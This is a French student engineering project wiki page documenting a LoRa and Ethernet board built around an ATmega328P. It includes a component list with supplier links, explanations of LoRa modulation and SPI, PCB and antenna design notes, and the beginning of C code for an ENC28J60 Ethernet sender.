 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
